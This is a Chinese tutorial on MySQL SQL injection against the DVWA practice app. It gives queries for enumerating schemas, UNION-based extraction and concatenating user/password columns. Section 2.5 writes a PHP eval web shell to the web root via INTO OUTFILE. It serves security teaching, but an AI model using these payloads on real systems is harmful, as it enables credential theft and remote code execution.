sql注入-mysql注入基础及常用注入语句
字数 731 2025-08-18 11:38:28
MySQL注入基础及常用注入语句教学文档
一、MySQL数据库基础 - INFORMATION_SCHEMA数据库结构
MySQL5内置的系统数据库INFORMATION_SCHEMA记录了MySQL中所有存在的数据库名、数据库表、表字段信息。关键三个表为:
1.1 SCHEMATA表 - 存储数据库名
- 关键字段:SCHEMA_NAME(数据库名称)
- 查询语句:
SELECT schema_name FROM information_schema.schemata;
1.2 TABLES表 - 存储表名
- 关键字段:
- TABLE_SCHEMA(表所属的数据库名)
- TABLE_NAME(表名)
- 查询语句:
SELECT table_name FROM information_schema.tables WHERE table_schema='dvwa';
1.3 COLUMNS表 - 存储字段名
- 关键字段:
- TABLE_SCHEMA(字段所属数据库名)
- TABLE_NAME(字段所属表名)
- COLUMN_NAME(字段名称)
- 查询语句:
SELECT table_schema, column_name, table_name FROM information_schema.columns WHERE table_name='users' AND table_schema='dvwa';
二、基本注入语句
2.1 数据库信息枚举
SELECT * FROM information_schema.schemata; -- 爆出所有数据库
SELECT table_name FROM information_schema.tables WHERE table_schema='dvwa'; -- 爆出指定数据库的所有表名
SELECT column_name FROM information_schema.columns WHERE table_name='users' AND table_schema='dvwa'; -- 爆出指定表的所有字段名
SELECT user, password FROM dvwa.users; -- 爆出指定表的内容
2.2 服务器信息查询
SELECT @@hostname, @@datadir, @@version_compile_os; -- 主机名、数据库路径、操作系统版本
2.3 数据库版本信息
SELECT VERSION(); -- 数据库版本
SELECT @@VERSION;
SELECT @@GLOBAL.VERSION;
SELECT DATABASE(); -- 当前数据库名称
2.4 用户信息查询
SELECT USER(), CURRENT_USER(), SYSTEM_USER(), SESSION_USER(); -- 各种用户信息
2.5 文件导出(一句话木马)
SELECT '<?php eval($_POST[cmd])?>' INTO OUTFILE '/var/www/html/dvwa/1.php';
三、联合查询技术
3.1 ORDER BY判断列数
SELECT * FROM dvwa.guestbook ORDER BY 3; -- 判断当前查询结果的列数
3.2 UNION联合查询
SELECT * FROM dvwa.guestbook WHERE name='test' UNION SELECT 1,2,3;
3.3 当页面只能显示一行结果时
SELECT * FROM dvwa.guestbook WHERE name='test' AND 1=2 UNION SELECT 1,2,3;
四、结果连接函数
4.1 CONCAT函数
- 无分隔符串联多列结果
SELECT CONCAT(str1, str2, ...);
4.2 CONCAT_WS函数
- 有分隔符串联多列结果
SELECT CONCAT_WS(separator, str1, str2, ...);
-- 示例(使用:作为分隔符)
SELECT CONCAT_WS(0x3a, user, password) FROM dvwa.users;
4.3 GROUP_CONCAT函数
- 用逗号串联多行结果为一行
SELECT GROUP_CONCAT(str1, str2, ...);
-- 示例(使用:作为分隔符)
SELECT GROUP_CONCAT(user, 0x3a, password) FROM dvwa.users;
五、函数应用场景总结
- CONCAT/CONCAT_WS:适用于查询结果只有一行,一列或多列数据
- GROUP_CONCAT:适用于查询结果有一行或多行,一列或多列数据
GROUP_CONCAT函数功能包含了CONCAT和CONCAT_WS的功能,在实际注入中根据回显情况选择合适的函数。